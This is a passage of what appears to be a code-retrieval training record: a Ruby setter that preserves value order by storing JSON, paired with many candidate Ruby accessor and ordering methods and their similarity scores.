args.blank?\n\n relation = clone\n relation.reordering_value = true\n relation.order_values = args.flatten\n relation\n end", "def set_property(key, value)\n end", "def pos=(p1)\n #This is a stub, used for indexing\n end", "def y=(value)\n self[1] = value\n end", "def down_via!(property, group)\n #parameter passed a property type?\n return if property.class != Property\n return if group.class != Group\n #get all relationships for this entity via the given group\n relationships = property_relations_via group\n relationship = EntityPropertyRelationship.find_by(entity_id: self.id, property_id: property.id, group_id: group.id)\n #relationship exist?\n return if relationship.nil?\n #already last?\n return if relationship.position == relationships.count - 1\n #relationship after property\n swap = self.property_relations_via(group)[relationship.position + 1]\n #move the property below the passed property up\n swap.update_attribute(:position, swap.position - 1)\n #move the passed property down\n relationship.update_attribute(:position, relationship.position + 1)\n end", "def set; end", "def set; end", "def assign_property(name, value); end", "def initialize(value={})\n super(value)\n @property_flush = {}\n end", "def initialize(value={})\n super(value)\n @property_flush = {}\n end", "def initialize(value={})\n super(value)\n @property_flush = {}\n end", "def initialize(value={})\n super(value)\n @property_flush = {}\n end", "def update!(other_value)\n replace!([value, normalize(other_value)].compact.last)\n end", "def position=(other)\n self.x, self.y = *Vector2.extract(other)\n end", "def set_property(key, value)\n new_repr = Representation.new(repr.href,\n repr.properties.merge(key => value),\n repr.all_links,\n repr.hal_client)\n\n self.class.new(new_repr, orig_repr)\n end", "def persist_ordinally\n @value_as_ordinal = true\n end", "def set!(value_obj)\n\t\t\tinsist!()\n\t\t\t@lookup[0...-1].inject(@obj_with_keys) { |deep_obj, this_key|\n\t\t\t\tdeep_obj[this_key]\n\t\t\t}[@lookup[-1]] = value_obj\n\t\tend", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end" ]
[ "0.63330585", "0.5616903", "0.5567529", "0.5545411", "0.5532085", "0.5528243", "0.5437405", "0.542757", "0.5422451", "0.5417597", "0.54082537", "0.5390351", "0.53693163", "0.53656995", "0.53502274", "0.5349154", "0.530391", "0.5287195", "0.52777636", "0.525203", "0.52515835", "0.5242031", "0.52218556", "0.5215804", "0.5209067", "0.520539", "0.5178552", "0.517603", "0.5166033", "0.51594776", "0.51583034", "0.51553065", "0.5153969", "0.5145334", "0.51334196", "0.5104949", "0.51004297", "0.51004297", "0.5091873", "0.5089438", "0.5089438", "0.5089438", "0.5089438", "0.508351", "0.5080649", "0.50631994", "0.5058823", "0.50533867", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491", "0.5025491" ]
0.0
-1
Overrides getter method to return the creators in the correct order.
def creator return super if ordered_creators.blank? JSON.parse(ordered_creators) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def creator\n creators = get_list(@xpaths[\"creators\"])\n return creators.map { |creator| { \"name\" => creator } }\n end", "def creator=(values)\n super && self.ordered_creators = values.to_json\n end", "def creator\n values = super\n values = MetadataHelper.ordered( ordered_values: self.creator_ordered, values: values )\n return values\n end", "def creator\n values = super\n values = MetadataHelper.ordered( ordered_values: self.creator_ordered, values: values )\n return values\n end", "def creator\n values = super\n values = Deepblue::MetadataHelper.ordered( ordered_values: creator_ordered, values: values )\n return values\n end", "def creator\n creators = []\n\n number_of_authors = metadata.keys.select do |k|\n k.match?(/^author[0-9]*_lname$/)\n end.count\n\n (1..number_of_authors).each do |i|\n unless metadata[\"author#{i}_fname\"].nil? && metadata[\"author#{i}_lname\"].nil?\n creators << creator_name(first_name: metadata[\"author#{i}_fname\"], last_name: metadata[\"author#{i}_lname\"])\n end\n end\n\n return nil if creators.empty?\n creators\n end", "def get_ead_creators\n get_ead_creators = NAME_FIELDS.map {|field| search(\"//origination[@label='creator']/#{field}\") }\n # Flatten nested arrays into one top level array\n get_ead_creators = get_ead_creators.flatten\n # Map to the text value and remove nils\n get_ead_creators = get_ead_creators.map(&:text).compact\n return get_ead_creators\n end", "def personal_creators\n result_array = []\n\n first_names = self.personal_name.name_part_given\n last_names = self.personal_name.name_part_family\n\n names = first_names.zip(last_names)\n\n # NB: When accessing nested arrays of form [[first, second], [first, second]]\n # that are all of even length, array.each do |first, second| grabs both elements\n # out of each nested array in sequence. Did not know this until I looked it up.\n names.each do |first, last|\n result_array << Hash[first: first, last: last]\n end\n\n return result_array\n end", "def creaters\n find_related_frbr_objects( :is_created_by, :which_roles?) \n end", "def find_creators\n ret = [@dmp.primary_contact]\n @dmp.contributors_data_management_plans.each do |cdmp|\n ret << cdmp.contributor if cdmp.role == 'http://credit.niso.org/contributor-roles/writing_original_draft'\n end\n ret.flatten\n end", "def creator_sort\n return get_text(@xpaths[\"creators\"])\n end", "def collection_creators\n cres = data.xpath(\"#{data_root}/context/collectionInfo/collection-creators/*\")\n cres.map(&:content).map(&:strip)\n end", "def creator\n send(Redcrumbs.creator_class_sym) if respond_to?(Redcrumbs.creator_class_sym)\n end", "def apply_creators(attributes)\n attributes[:creator_resource] ||= []\n attributes[:creator_resource_ids].collect do |creator|\n attributes[:creator_resource] << add_person(creator)\n end\n # attributes[:orcid].collect do |orcid|\n # attributes[:creator_resource] << create_person(orcid)\n # end\n # trim_attributes(attributes, [:creator_resource_ids, :orcid])\n trim_attributes(attributes, [:creator_resource_ids])\n end", "def index\n @creators = Creator.all\n end", "def creator # :nodoc:\n @context.users[@creator_id]\n end", "def full_creator \n if self._creator.blank? || self._creator.new_record?\n self._creator = creator_class.where(Redcrumbs.creator_primary_key => self.creator_id).first\n else\n self._creator\n end\n end", "def creator=(name)\n creator = DCMES.new\n creator.content = name\n self.dc_creators = [creator]\n name\n end", "def corporate_creators\n no_newlines = self.corporate_name.map { |name| name.delete(\"\\n\") }\n trimmed = no_newlines.map { |name| name.strip }\n return trimmed\n end", "def crew\n Job::CREW_MEMBERS.collect { |member| \n self.send( member.to_s.pluralize )\n }.flatten\n end", "def creator_agent\n @creator_agent ||= agents.select{|x| x[:role] == 'CREATOR'}.first\n end", "def get_creator\n User.find_by_id(creator_id)\n end", "def creator\n \"Pat Allan\"\n end", "def crew\n crew_categories.map{ |category| parse_crew(category) }.flatten\n end", "def creator_id\n return @creator_id\n end", "def creator\n User.find_by_id(self.creator_id)\n end", "def api_assets_creators= attrs\n existing = assets_creators.to_a\n retained_and_new = attrs.map do |attr|\n ex = existing.detect do |ac|\n attr[:creator_id].present? && (ac.creator_id == attr[:creator_id]) ||\n attr[:orcid].present? && ac.orcid == attr[:orcid] ||\n (ac.given_name == attr[:given_name] &&\n ac.family_name == attr[:family_name] &&\n ac.affiliation == attr[:affiliation])\n end\n if ex\n ex.assign_attributes(attr)\n ex\n else\n assets_creators.build(attr)\n end\n end.compact\n\n (existing - retained_and_new).each(&:destroy)\n\n retained_and_new\n end", "def creator\n \tUser.find_by_id(creator_id)\n end", "def crumbs_by\n crumb_or_custom_class.all(:creator_id => self[Redcrumbs.creator_primary_key], :order => [:created_at.desc])\n end", "def non_creators(list, users)\n members = []\n users.each do |user|\n if !List.is_creator?(list, user)\n members << user\n end\n end\n members\n end", "def creator\n \"Made by ROUINEB Hamza. 2016\"\n end", "def content_creators(name, channel)\n puts name + \" from \" + channel\nend", "def creator_countries\n countries = self.creators.to_a\n countries.collect! { |c| c.has_nationality.to_a }.flatten!\n countries.collect! { |c| c.name }\n countries.uniq\n end", "def creator_class_name\n \"#{@clazz.name}Creator\"\n end", "def authors\n if self.channel.generator == 'Twitter'\n return [@item.title.split(':')[0]]\n end\n [@item.author, ((@item.dc_creators.empty?) ? nil : @item.dc_creators.collect{|c| c.content})].flatten.uniq.compact.reject{|au| au == '' || au.match(/^\\s+$/)}\n end", "def creator_class\n creator_class_name.constantize\n rescue NameError\n Creator\n end", "def maker\n @@maker \n end", "def creator\n UserSerializer.new(object.creator)\n end", "def relators\n\t\t@relators = @tags = Relator.order('left_name').all.decorate\n\tend", "def get_solr_sortable_creator\n solr_sortable_creator = \"\"\n\n begin\n solr_sortable_creator = self.creator_name.first unless self.creator_name.empty?\n rescue NoMethodError\n # creator_name does not exist for this mods datastream\n end\n\n return solr_sortable_creator\n end", "def generate_creator\n lambda do |record, accumulator, _context|\n accumulator << [record[DISPLAY_NAME], record[SUFFIX],\n artist_role_bio(record)].select(&:present?).join(', ').presence\n end\n end", "def creator_id\n self.id\n end", "def index\n\t\tcreator_categories\n\tend", "def find_producers\n defaults = creators.map(&:affiliation).compact\n return defaults unless @dmp.project.present? && @dmp.project.fundings.any?\n return defaults unless @dmp.project.fundings.map(&:funded_affiliations).flatten.uniq.any?\n\n @dmp.project.fundings.map(&:funded_affiliations).flatten.uniq\n end", "def make_service_provider_accessors\n ## Creating Many Service Providers for single user(accessor)\n service_providers = User.where(:role_id=>2).limit(20)\n accessor = User.where(:role_id=>3).first\n service_providers.each { |service_provider| Following.create(:user_id=>accessor.id,:follower_id=>service_provider.id) }\n\n ## Creating Many accessors for single user(Service Provider)\n accessors = User.where(:role_id=>3).order('created_at DESC').limit(20)\n service_provider = User.where(:role_id=>2).first\n accessors.each { |accessors| Following.create(:user_id=>accessors.id,:follower_id=>service_provider.id) }\nend", "def owners\n self.authors.collect(&:user)\n end", "def creator_info\n output [designer_info, (scorer_info if card.metric_type == :score)]\n end", "def creator_id # :nodoc:\n @creator_id.dup\n end", "def update_creator_of(object)\n object.creator = object.get_values(::RDF::Vocab::DC.creator)\n end", "def owner_chains\n if owners == []\n [[self.id]]\n else\n owners.map(&:c).map(&:owner_chains).reduce(:+).map{|i| [self.id]+i}\n end\n end", "def owners\n return @owners\n end", "def creator_conversation_ids\n self.creator ?\n self.creator.conversation_ids + self.creator.created_conversation_ids : []\n end", "def is_creator?\n\t\tself.is_creator == 1\n\tend", "def newDemandListForCycle()\n list = [] ;\n @factoryList.each{|factory|\n sublist = factory.newDemandListForCycle() ;\n list.concat(sublist) ;\n }\n return list ;\n end", "def creator\n @page_creator ||= User.find_by_id(creator_id)\n return _('unknown') if @page_creator.nil?\n @page_creator.name\n end", "def group_creator\n group = Random.new.rand(1..3)\n return group\nend", "def handle_other_creators(linked_agents)\n creators = linked_agents.select {|a| a['role'] == 'creator'}[1..-1] || []\n creators = creators + linked_agents.select {|a| a['role'] == 'source'}\n\n creators.each_with_index do |link, i|\n next unless link[\"_resolved\"][\"publish\"] || @include_unpublished\n\n creator = link['_resolved']\n name = creator['display_name']\n role = link['role']\n\n relator_sfs = []\n if link['relator']\n handle_relators(relator_sfs, link['relator'])\n elsif role == 'source'\n relator_sfs << ['e', 'former owner']\n else\n relator_sfs << ['e', 'creator']\n end\n\n ind2 = ' '\n\n case creator['agent_type']\n\n when 'agent_corporate_entity'\n code = '710'\n ind1 = '2'\n sfs = gather_agent_corporate_subfield_mappings(name, relator_sfs, creator)\n\n when 'agent_person'\n ind1 = name['name_order'] == 'direct' ? '0' : '1'\n code = '700'\n sfs = gather_agent_person_subfield_mappings(name, relator_sfs, creator)\n\n when 'agent_family'\n ind1 = '3'\n code = '700'\n sfs = gather_agent_family_subfield_mappings(name, relator_sfs, creator)\n\n end\n\n df(code, ind1, ind2, i).with_sfs(*sfs)\n end\n end", "def byline(creation)\n pseuds = []\n pseuds << creation.authors if creation.authors\n pseuds << creation.pseuds if creation.pseuds && (!@preview_mode || creation.authors.blank?)\n pseuds.flatten.uniq.sort.collect { |pseud|\n link_to pseud.byline, [pseud.user, pseud], :class => \"login author\"\n }.join(', ')\n end", "def creator_name\n creator.try(:name) || Alchemy.t(\"unknown\")\n end", "def editors\n editor_collaborators = collaborators.where(role: \"editor\").all\n if editor_collaborators\n editor_collaborators.map {|e| e.user}\n else\n []\n end\n end", "def create_players\n players = []\n players << create_player('player_1')\n players << create_player('player_2')\n players\n end", "def creators_rels_attributes=(args={})\n args.each_pair do |k,v|\n destroy = v[\"__destroy\"] == \"1\"\n if k.include?(\"new\") or v[\"id\"].empty? # this is a newly added relationship\n unless destroy\n self.save #first we need to persist the document. \n creator = v[\"class\"].constantize.find_or_create_by(:name => v[\"end_node_name\"])\n creator_role = Creator.new(:creators, self, creator, {:role => v[\"role\"] })\n creator_role.save\n end\n else # existing relationship, lets check it. \n if destroy \n creator = Creator.find(v[\"id\"])\n creator.destroy \n else\n creator = Creator.find(v[\"id\"])\n unless creator.role == v[\"role\"]\n creator.role = v[\"role\"]\n creator.save\n end\n end\n end\n end\n end", "def managers\n \n managers = self.board_design_entry_users.dup\n managers.delete_if { |bde_user| !bde_user.role.manager? }\n return managers.sort_by { |m| m.role.display_name }\n \n end", "def producers\n parse_crew('Produced by')\n end", "def all(node,options={})\n raise \"options not a hash\" unless Hash===options\n if options[:create_new]\n return [ @creator_procs[-1].call(node,true) ]\n else\n last_nodes,rest_creator = catch(:not_found) do\n return @reader_proc.call([node])\n end\n if options[:ensure_created]\n [ rest_creator.call(last_nodes[0],false) ]\n else\n []\n end\n end\n end", "def owners\n get_user_with_role(:owner)\n end", "def authors\n @authors ||= author_ids.map { |id| Author.new(instance, id) }\n end", "def factories\n @factories || Set.new\n end", "def index\n @creatures = current_user.creatures\n end", "def gettersetters\n return if @getsets.empty?\n @getsets.uniq.sort\n end", "def created_by\n @created_by ||= Underskog::User.new(@attrs['creator']) if\n @attrs['creator'].is_a?(Hash) and !@attrs['creator'].empty?\n end", "def nodesCreate\n nodes=Array.new\n @parser.getAllNodes.each do |node|\n nodes.push(Node.new(@parser.getNodeName(node), @parser.getOS(node)))\n nodes.last.interfaces=interfacesCreate(node)\n nodes.last.toInstall=listToInstall(node)\n end\n return nodes\n end", "def managers\n self.parent.managers\n end", "def create_cards\r\n @cards.each{|e| e.create}\r\n @symbols_card.each{|e| e.create}\r\n @cards_rotated.each{|e| e.create}\r\n end", "def my_clients\n self.client_cars.map do |car|\n car.owner\n end\n end", "def getOwners\r\n\t\t\t\t\treturn @owners\r\n\t\t\t\tend", "def supervisors\n (self.managers + self.trustees).uniq\n end", "def authors\n return [] if @feed.channel.managingEditor.nil? && @feed.channel.dc_publishers.empty?\n [@feed.channel.managingEditor, ((@feed.channel.dc_publishers.empty?) ? nil : @feed.channel.dc_publishers.collect{|dcp| dcp.content})].flatten.uniq.compact.reject{|au| au == '' || au.match(/^\\s+$/)}\n end", "def set_creator\n @creator = Creator.find(params[:id])\n end", "def new_creatable_selection_list\n Seek::Util.user_creatable_types.collect { |c| [c.name.underscore.humanize, url_for(controller: c.name.underscore.pluralize, action: 'new')] }\n end", "def new_creatable_selection_list\n Seek::Util.user_creatable_types.collect { |c| [c.name.underscore.humanize, url_for(controller: c.name.underscore.pluralize, action: 'new')] }\n end", "def editors\n\t\teditors = [self.user]\n\t\teditors\n\tend", "def creator\n @page_creator ||= User.find_by_id(creator_id)\n return I18n.t('unknown') if @page_creator.nil?\n @page_creator.name\n end", "def creatorship_options\n\t\th.options_for_select(self.creator_categories.pluck(:name, :id))\n\tend", "def authors\n @authors\n end", "def creatable_by?(creator)\n creator.administrator? || !administrator\n end", "def player_creation\n @players = []\n @available_roles_to_pick = ROLES.keys.shuffle\n @number_players = 0\n\n prompt_number_of_players\n\n @epidemic_cards_number = 0\n determine_epidemic_cards_number\n\n determine_deal_player_card_number\n create_players\n prompt_player_info\n end", "def managers\n [] << [user_id, contact_person_name]\n end", "def composers\n find_related_frbr_objects( :is_composed_by, :which_roles?) \n end", "def getCreatedBy\r\n\t\t\t\t\treturn @createdBy\r\n\t\t\t\tend", "def list\n @list ||= manager_list\n end", "def create_players\n\t\t\t\tnum_players.times do |i|\n\t\t\t\t\tplayer_class = Merlion::Player\n\t\t\t\t\tself.players[i] = create_player({ seat: i, class: player_class })\n\t\t\t\tend\n\t\t\tend", "def group_creator(name_list)\n\n\taccountability_groups = []\n\trandomized_names = name_list.shuffle #Used non-destructive shuffle so that I can call on list again for unit 2/3\n\n\twhile (randomized_names.length > 4)\n\t\taccountability_groups << randomized_names.pop(4)\t\n\tend\n\n\tcounter = 0\n\tuntil (randomized_names.length == 0)\n\t\taccountability_groups[counter] << randomized_names.pop\n\t\tcounter\t+= 1\n\tend\n\t\t\n\tcounter = 0\n\tuntil accountability_groups[counter] == nil\n\t\tputs \"Group \" + (counter + 1).to_s + \":\" ; puts accountability_groups[counter]\n\t\tputs\n\t\tcounter += 1 \n\tend\nend", "def crossref_authors\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.contributors {\n authors.each_with_index do |author, index|\n given_name = author.given_name\n surname = author.last_name\n orcid = author.orcid\n if index == 0\n sequence = \"first\"\n else\n sequence = \"additional\"\n end\n xml.person_name(:sequence => sequence, :contributor_role => \"author\") {\n xml.given_name given_name.encode(:xml => :text)\n if surname.nil?\n xml.surname \"No Last Name\".encode(:xml => :text)\n else\n xml.surname surname.encode(:xml => :text)\n end\n xml.ORCID \"http://orcid.org/#{author.orcid}\" if !orcid.nil?\n }\n end\n }\n end\n\n return builder.doc.xpath('//contributors').to_xml\n end", "def created_by\n return @created_by\n end", "def created_by\n return @created_by\n end", "def created_by\n return @created_by\n end", "def created_by\n return @created_by\n end", "def created_by\n return @created_by\n end", "def created_by\n return @created_by\n end" ]
[ "0.72476166", "0.680586", "0.673909", "0.673909", "0.65331525", "0.63075495", "0.6241273", "0.6111725", "0.60976344", "0.6087208", "0.6054422", "0.6044149", "0.59060365", "0.5891707", "0.5712999", "0.55368185", "0.55221415", "0.547033", "0.5451835", "0.54227155", "0.5419491", "0.536934", "0.53548", "0.5342055", "0.5335684", "0.53310925", "0.5324731", "0.52995175", "0.5299214", "0.5291403", "0.5222678", "0.52218586", "0.5209488", "0.5207683", "0.5206077", "0.5156699", "0.515479", "0.5143519", "0.50983185", "0.50969285", "0.5095827", "0.50865734", "0.5049602", "0.50405145", "0.5038503", "0.5022946", "0.5014275", "0.5004262", "0.499392", "0.49876496", "0.49832353", "0.49409717", "0.49305105", "0.4928607", "0.48300928", "0.48293328", "0.48118058", "0.4786961", "0.47836965", "0.47785556", "0.47737303", "0.4773239", "0.47661692", "0.47589362", "0.4758617", "0.47356462", "0.47130874", "0.47112125", "0.4699124", "0.46976572", "0.46923155", "0.46814695", "0.4672953", "0.46727926", "0.46690324", "0.46600407", "0.4656897", "0.4651715", "0.46516812", "0.46352872", "0.46352872", "0.46284246", "0.4624018", "0.461227", "0.46111292", "0.46034268", "0.46023473", "0.45885137", "0.45755625", "0.45713833", "0.45693955", "0.4558436", "0.455434", "0.45517883", "0.4548376", "0.4548376", "0.4548376", "0.4548376", "0.4548376", "0.4548376" ]
0.7667489
0
Overrides setter method to preserve order in a second property.
def description=(values) super && self.ordered_descriptions = values.to_json end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def inverse_setter(other = nil)\n @inverse_setter ||= \"#{inverses(other).first}=\" unless inverses(other).blank?\n end", "def attribute_to_set; end", "def swap_with(other)\n self.class.base_class.transaction do\n old_position = position\n update_attribute(:position, other.position)\n other.update_attribute(:position, old_position)\n end\n end", "def sync=(p1)\n #This is a stub, used for indexing\n end", "def order=(newlocal_order)\n # clear any previous custom order\n @custom_order = nil\n oldlocal_order = order.dup\n order = []\n newlocal_order.each do |name|\n key = name.to_sym\n if oldlocal_order.include?(key)\n oldlocal_order.delete(key)\n order << key\n end\n end\n order += oldlocal_order\n @custom_order = order\n end", "def set_object_other_position(obj, value)\n obj.y = value if obj\n end", "def __setter__\n \"#{self}=\"\n end", "def order=( o )\n\t\torig = @order\n\t\t@order = o\n\t\traise_on_invalid_column if o\n\t\torig\n\tend", "def previous_sibling=(other); end", "def []= key, value\n\t\t\tsuper\n\t\t\t@orient.update set: {@name => self} if @name.present? if check_if_complete\n\t\tend", "def reverse_order!\n self.reverse_order_value = !reverse_order_value\n self\n end", "def set_object_other_position(obj, value)\n obj.x = value if obj\n end", "def []=(name, value)\n return super(name, value) if name.is_a?(Fixnum)\n name = name.upcase\n\n remove(name)\n\n if value.is_a?(Component) || value.is_a?(Property)\n add(value)\n else\n add(name, value)\n end\n end", "def set_value(owner, value)\n values = value.to_s.split(/ +/)\n \n @properties.each_index do |index|\n break if index > values.length-1\n subproperties = @properties[index]\n\n subproperties.each do |subproperty|\n owner.set_property_value(subproperty, values[index])\n end\n end\n end", "def y=(val); self[1] = val; end", "def merge!(other)\n update!(other.value)\n end", "def []=(key,val)\n\t\t\t\t@mutex.lock\n\t\t\t\t\t@l2.delete(key) if @l2.include?(key)\n\t\t\t\t\tsuper(key,val)\n\t\t\t\t@mutex.unlock\n\t\t\tend", "def set_from_other(other)\n set_values(other.nv, other.dv, other.snv, other.sdv)\n end", "def property_set sym, val\n oldvalue = instance_variable_get \"@#{sym}\"\n tmp = val.size == 1 ? val[0] : val\n newvalue = tmp\n if oldvalue.nil? || @_object_created.nil?\n #@#{sym} = tmp\n instance_variable_set \"@#{sym}\", tmp\n end\n return(self) if oldvalue.nil? || @_object_created.nil?\n\n if oldvalue != newvalue\n # trying to reduce calls to fire, when object is being created\n begin\n @property_changed = true\n fire_property_change(\"#{sym}\", oldvalue, newvalue) if !oldvalue.nil?\n #@#{sym} = tmp\n instance_variable_set \"@#{sym}\", tmp\n #@config[\"#{sym}\"]=@#{sym}\n rescue PropertyVetoException\n $log.warn \"PropertyVetoException for #{sym}:\" + oldvalue.to_s + \"-> \"+ newvalue.to_s\n end\n end # if old\n self\n end", "def value=(new_value)\n validate(new_value)\n if new_value.nil?\n property_names.each { |name| self[name] = nil }\n else\n property_names.each { |name| self[name] = new_value[name] }\n end\n end", "def []=(p1, p2)\n #This is a stub, used for indexing\n end", "def set_to_ordered\n self.status = \"ordered\"\n self.save\n end", "def up_via!(property, group)\n #parameter passed a property type?\n return if property.class != Property\n return if group.class != Group\n #get all relationships for this entity via the given group\n relationships = property_relations_via group\n relationship = EntityPropertyRelationship.find_by(entity_id: self.id, property_id: property.id, group_id: group.id)\n #relationship exist?\n return if relationship.nil?\n #already last?\n return if relationship.position == 0\n #relationship after property\n swap = self.property_relations_via(group)[relationship.position - 1]\n #move the property below the passed property up\n swap.update_attribute(:position, swap.position + 1)\n #move the passed property down\n relationship.update_attribute(:position, relationship.position - 1)\n end", "def set_order(ordering)\n\t\to = \"\"\n\t\tordering.each do |obj_place|\n\t\t\to << (obj_place.model + \"_\" + obj_place.id.to_s + \"///,\")\n\t\tend\n\t\tself.update_attribute :order, o\n\tend", "def order=(value)\n @order = value\n end", "def next_sibling=(other); end", "def property_set key, value\n n_file_properties = file_properties.dup\n n_file_properties[key]=value\n self.file_properties= n_file_properties\n end", "def []=(property, value)\n if self.class.translation_exists? property\n send(\"#{property}=\", value)\n elsif self.class.transformation_exists? property\n super property, self.class.transformed_property(property, value)\n elsif property_exists? property\n super\n end\n end", "def z=(value)\n self[2] = value\n end", "def to_setter\n\t\t\t\t(to_getter.to_s+\"=\").to_sym\n\t\t\tend", "def __copy_on_write__(*)\n index = @parent_proxy.instance_variable_get(:@set).index(__getobj__) if @parent_proxy\n super.tap do\n CowProxy.debug { \"replace #{index} with proxy obj in parent #{@parent_proxy.name}\" } if index\n @parent_proxy.instance_variable_get(:@set)[index] = self if index\n new_set = __getobj__.instance_variable_get(:@set).dup\n __getobj__.instance_variable_set(:@set, new_set)\n end\n end", "def reorder(*args)\n return self if args.blank?\n\n relation = clone\n relation.reordering_value = true\n relation.order_values = args.flatten\n relation\n end", "def set_property(key, value)\n end", "def pos=(p1)\n #This is a stub, used for indexing\n end", "def y=(value)\n self[1] = value\n end", "def down_via!(property, group)\n #parameter passed a property type?\n return if property.class != Property\n return if group.class != Group\n #get all relationships for this entity via the given group\n relationships = property_relations_via group\n relationship = EntityPropertyRelationship.find_by(entity_id: self.id, property_id: property.id, group_id: group.id)\n #relationship exist?\n return if relationship.nil?\n #already last?\n return if relationship.position == relationships.count - 1\n #relationship after property\n swap = self.property_relations_via(group)[relationship.position + 1]\n #move the property below the passed property up\n swap.update_attribute(:position, swap.position - 1)\n #move the passed property down\n relationship.update_attribute(:position, relationship.position + 1)\n end", "def set; end", "def set; end", "def assign_property(name, value); end", "def initialize(value={})\n super(value)\n @property_flush = {}\n end", "def initialize(value={})\n super(value)\n @property_flush = {}\n end", "def initialize(value={})\n super(value)\n @property_flush = {}\n end", "def initialize(value={})\n super(value)\n @property_flush = {}\n end", "def update!(other_value)\n replace!([value, normalize(other_value)].compact.last)\n end", "def position=(other)\n self.x, self.y = *Vector2.extract(other)\n end", "def set_property(key, value)\n new_repr = Representation.new(repr.href,\n repr.properties.merge(key => value),\n repr.all_links,\n repr.hal_client)\n\n self.class.new(new_repr, orig_repr)\n end", "def persist_ordinally\n @value_as_ordinal = true\n end", "def set!(value_obj)\n\t\t\tinsist!()\n\t\t\t@lookup[0...-1].inject(@obj_with_keys) { |deep_obj, this_key|\n\t\t\t\tdeep_obj[this_key]\n\t\t\t}[@lookup[-1]] = value_obj\n\t\tend", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def s2=(value)\n self[:s2] = value\n end", "def 